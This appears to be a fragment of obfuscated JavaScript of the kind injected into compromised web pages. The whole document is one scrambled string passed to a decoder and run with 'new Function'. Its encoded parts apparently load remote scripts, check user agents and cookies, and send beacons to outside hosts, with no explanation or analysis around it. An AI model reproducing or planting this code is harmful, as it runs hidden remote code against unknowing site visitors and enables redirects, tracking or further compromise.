F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();